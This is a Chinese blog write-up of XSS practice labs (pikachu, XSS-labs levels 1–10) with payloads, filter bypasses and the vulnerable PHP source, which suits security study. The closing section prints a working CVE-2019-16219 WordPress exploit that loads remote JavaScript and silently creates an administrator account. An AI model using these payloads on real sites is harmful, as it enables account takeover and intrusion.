XSS-labs靶场练题记录

XSS靶场练题记录

XSS简介

XSS全称(Cross Site Scripting)跨站脚本攻击,为了避免和CSS(Cascading Style Sheet)层叠样式表名称冲突,所以改为了XSS,是最常见的Web应用程序安全漏洞之一,在2013年和2017年的OWASP Top 10分别位于第三名和第七名。

跨站脚本攻击是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页(input表单、URL、留言版等位置),其他用户在浏览网页时会受到影响,恶意用户利用xss代码攻击成功后,当用户或管理员浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击的目的。

XSS漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数

XSS原理

服务器对用户提交的数据过滤不严,导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行,从而实现对客户端的攻击目的

XSS属于客户端攻击,受害者最终是用户,但网站的相关管理人员也属于用户之一,这就意味着XSS也可能攻击到“服务端”,因为管理员的账号权限比普通用户的账号权限要大的多,一般管理员都可以对网站进行文件管理、数据管理等操作,而攻击者一般也是考管理员的身份作为“跳板”而进行实施攻击

XSS攻击最终目的是在网页中嵌入客户端恶意脚本代码,最常用的攻击代码语言是Javascript语言,但也可能会使用其他语言,例如:ActionScript、VBScript。但如今互联网客户端基本都是基于Javascript

XSS漏洞的危害

1.网络钓鱼,包括盗取各类用户账号 https://cloud.tencent.com/developer/article/1517803

2.窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作

3.劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等

4.特定条件下,可以网页挂马,进行恶意操作 https://blog.csdn.net/Monsterlz123/article/details/91127385

5.进行大量的客户端攻击,如DDoS攻击 https://blog.csdn.net/wsnbbz/article/details/104652337

XSS类型

XSS漏洞大概可以分为三个类型:反射型XSS、存储型XSS和DOM型XSS

反射型(非持久化)

反射型XSS又称为非持久型XSS,这种攻击方式往往具有一次性。攻击者通过电子邮件或者聊天工具等将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器就收目标的请求并进行处理,然后把带有XSS代码的数据发送给目标用户的浏览器,浏览器会解析这段带有XSS代码的恶意脚本,就会触发XSS漏洞。

注意!!!这里以pikachu漏洞练习平台为例

反射性XSS(get)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Payload:
<script>alert('xss')</script>
注意:要注意alert()括号里面的写法,如字母xss,要加引号或/或反引号,数字不用

刚把payload放进输入框,还没submit就发现payload被截短了,应该是html代码中的限制
由于此处为get传参,所以有两个方法来进行绕过

1.直接在地址栏插入Payload
2.使用开发者工具,修改html代码中的长度限制

执行流程:
在输入点输入内容,构造恶意代码,输入点是以 GET 方式提交的
后端接受提交的数据,并没有对输入进行过滤
然后将其呈现给前端,浏览器执行恶意代码

反射性XSS(post)

1
2
3
Payload:
<script>alert('xss')</script>
<script>alert(document.cookie)</script>

存储型XSS(持久化)

存储型XSS又称为持久性XSS,攻击脚本将被永久的存放在目标服务器的数据库或文件中,既有很高的隐蔽性。这种攻击手法多见于论坛、博客和留言板;攻击者在发帖的过程中,将恶意脚本和正常的信息一起注入帖子的内容中。帖子被服务器存储下来,恶意脚本也就会被存放在服务器的后端数据库中,当其他的用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中解析并执行。

注意!!!这里以pikachu漏洞练习平台为例

存储型XSS

1
2
3
4
5
6
7
Payload:
<script>alert(document.cookie)</script>

执行流程:
在留言板处输入内容,构造恶意代码
将输入的内容提交给后端代码执行,后端对输入过滤不严谨,然后执行插入的数据操作
此时,我们的恶意代码已经保存在数据库。不管何时何地何人查看这条留言,都会执行恶意代码,除非数据库中删除这条恶意代码(后面不管输入什么,结果都是一样的

DOM型XSS

DOM简介

DOM全称Document Object Model,简单来说DOM文档就是一份XML文档,当有了DOM标准之后,DOM便将前端html代码化为一个树状结构,方便程序和脚本能够轻松的动态访问和更新这个树状结构的内容、结构以及样式,且不需要经过服务端

DOM型XSS漏洞简介

DOM型XSS执行场景跟之前两个不同,他是基于文档对象模型的漏洞,它可以动态的构造DOM节点。所以说,该漏洞是不经过后端代码的,直接构造恶意代码,即可在前端展示。用户请求一个专门设计的URL,它是由攻击者提交,而且其中包含XSS代码。服务器不会以任何的形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM型对象就会处理XSS代码

所以说DOM型XSS可以在前端通过js渲染来完成数据的交互,达到插入数据造成XSS脚本攻击,且不经过服务器,所以即使抓包无无法抓取到这里的流量,而反射性与存储型xss需要与服务器交互,这便是三者的区别

注意!!!这里以pikachu漏洞练习平台为例

1
2
3
4
5
Payload:
'><img src="#" onmouseover="alert('xss')">
'onclick="alert('xss')">

onmouseover需要鼠标划过,onclick需要鼠标点击

XSS-labs靶场部分题目练习

Level1

查看网站源码,可以发现get传参name的值test插入了html里,还回显了payload的长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Payload:
<script>alert()</script>
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test"; //重定义alert函数,当调用alert时,会弹出confirm对话框并重定向到level2.php
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

Level2

1
2
3
4
5
6
7
8
尝试输入Payload:
<script>alert()</script>

没有成功,通过view-source查看源码
很明显,第一个test进行了html实体转义,但是第二个没有,我们只需要闭合掉双引号即可,构造payload

Payload:
"> <script>alert()</script> <"

htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。

预定义的字符是:

  • & (和号)成为 &
  • “ (双引号)成为 “
  • ‘ (单引号)成为 ‘
  • < (小于)成为 <
  • (大于)成为 >

提示:要把特殊的 HTML 实体转换回字符,使用htmlspecialchars_decode()函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> //此处传入的值被htmlspecialchars进行了html实体转化
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

Level3

1
2
3
4
5
6
7
8
9
10
尝试:
尝试输入123,然后观察源码,发现相较于上一关,这边存在的是单引号的闭合,尝试Payload
'> <script>alert()</script> <'
未成功,观察源码可知,都被实体化了
针对这一情况可以采用onfocus事件来绕过

所以我们可以利用这个事件来绕过<>号的过滤已达到执行js的目的
Payload:
' onfocus=alert() ' 不推荐
' οnclick=alert() ' 推荐

onfocus事件在元素获得焦点时触发,最常与 为例,标签是有输入框的,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

Level4

1
2
3
4
查看源码可知,这题和第三题基本一样,只不过这边是需要构造双引号进行闭合

Payload:
' οnclick=alert() '
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str); //将输入的>替换为空
$str3=str_replace("<","",$str2); //将输入的<替换为空
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

Level5

1
2
3
4
5
6
7
8
9
10
11
继续按上一关的Payload尝试
' οnclick=alert() '

查看源码可以发现:on被替换成了o_n;<script被替换成了<scr_ipt
同时对输入的所有字母,都转化为小写
过滤了js的标签还有onfocus事件,虽然str_replace不区分大小写
但是有小写字母转化函数,所以就不能用大小写法来绕过过滤了,只能新找一个方法进行xss注入,
这里我们用a href标签法

"> <a href=javascript:alert()>xss</a> <"
输入后点击xss,触发a标签href属性即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]); //把所有字符转换为小写
$str2=str_replace("<script","<scr_ipt",$str); //<script被替换成了<scr_ipt
$str3=str_replace("on","o_n",$str2); //on被替换成了o_n
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

Level6

1
2
3
4
5
6
7
8
9
10
11
12
尝试输入相关的关键词,看看这题过滤了哪些内容
onfocus <script> <a href=javascript:alert()>

发现on <script> href 都被过滤了
尝试看看能不能大小写绕过
OnFocus <sCriPt> <a hReF=javascript:alert()>
发现不存在大小写的过滤

Payload:
"> <sCript>alert()</sCript> <"
" OnClick=javascript:alert() "
"> <a hRef=javascript:alert()>xss</a> <"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

Level7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
尝试输入相关的关键词,看看这题过滤了哪些内容
onfocus <script> <a href=javascript:alert()>

里面进行了小写转化,将检测出来的on,script,href给置换为空了
这里可以采用双写来进行绕过
比如on,我们可以写成oonn,当中间on被删掉的时候,就变成了on
比如script,可以写成scscriptipt,当script被删掉的时候,就变成了script

Payload:
"> <sCrsCriptipt>alert()</sCrsCriptipt> <"
" OOnnClick=alert() "
"> <a hRhRefef=javascrscriptipt:alert()>xss</a> <"

"> <img srsrcc="x" oonnerror=alert(1)> <"
onerror属性是指当图片加载不出来的时候触发js函数,以上面的代码为例,
这里因为src指向的是值x,而不是图片的地址和base64编码啥的,就会导致触发alert函数
当鼠标移出图片的时候执行的属性onmouseout
当鼠标移动到图片的时候执行的属性onmouseover

此外,这里还禁用了data,data禁用的原因是:
这里利用iframe标签,插入一个标签data:text/html;base64,
将后面的内容进行base64编码:PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+
进行base64解码后是<script>alert()</script>
Payload:
"> <iframe srsrcc="dadatata:text/html;base64,PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+"> <"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

Level8

1
2
3
4
5
6
7
8
9
10
尝试输入相关的关键词,看看这题过滤了哪些内容
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
可知,添加了小写转化函数,还有过滤掉了src、data、onfocus、href、script、"(双引号)

但在这里我们可以利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议
将此进行Unicode编码
javascript:alert()
得到
Payload:
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

Level9

1
2
3
4
5
6
7
8
9
尝试输入相关的关键词,看看这题过滤了哪些内容
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;
当传入的值没有http://
就会执行if,输出不合法
所以我们需要向传入的值里面添加http://并用注释符注释掉否则会执行不了无法弹窗
让函数strpos返回一个数字,构造payload

Payload:
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

Level10

1
2
3
4
5
6
7
8
9
尝试输入相关的关键词,看看这题过滤了哪些内容
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;
查看源码可以发现,传入的参数都被实体化了
查看源码发现原来还有其他隐藏的传参方法
这里是get传参t_sort,并过滤掉了<>号,不能闭合插入标签
但是我们还能用onclick事件,因为这里输入框被隐藏了,需要添加type="text",构造payload

Payload:
?t_sort=" onclick=javascript:alert() type="text

XSS实战

CVE-2019-16219 WordPress5.0存储型XSS漏洞

1
2
测试Payload
"><img src=1 onerror=alert("xss")>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
攻击Payload
"><img src=1 onerror="javascript:(function () { var url = 'http://aaa.bbb.ccc.ddd/wpaddadmin.js';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();">

恶意js
// Send a GET request to the URL '/wp-admin/user-new.php', and extract the current 'nonce' value
var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];

// Construct a POST query, using the previously extracted 'nonce' value, and create a new user with an arbitrary username / password, as an Administrator
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@site.com&pass1=attacker&pass2=attacker&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);

XSS-labs靶场练题记录
http://example.com/2022/06/27/xss/
作者
ZERO
发布于
2022年6月27日
许可协议